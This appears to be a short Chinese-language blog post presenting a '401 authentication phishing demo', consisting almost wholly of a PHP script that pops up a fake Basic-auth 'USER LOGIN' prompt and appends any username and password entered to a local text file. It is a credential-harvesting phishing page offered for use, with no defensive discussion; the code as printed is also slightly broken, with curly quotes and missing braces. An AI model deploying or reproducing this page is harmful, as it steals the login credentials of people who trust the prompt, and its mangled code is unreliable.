401认证钓鱼demo

Posted 2022-10-28 m0rta1s

<?php
//@b4dboy
if(!isset($_SERVER[‘PHP_AUTH_USER‘]) && !isset($_SERVER[‘PHP_AUTH_PW‘])) 
    Header("WWW-Authenticate: Basic realm=\"USER LOGIN\"");
    Header("HTTP/1.0 401 Unauthorized");
 else 
    @file_put_contents(‘./b4dboy.txt‘, $_SERVER[‘PHP_AUTH_USER‘].‘|‘.$_SERVER[‘PHP_AUTH_PW‘]."\r\n", FILE_APPEND);
    //xxx


    ?>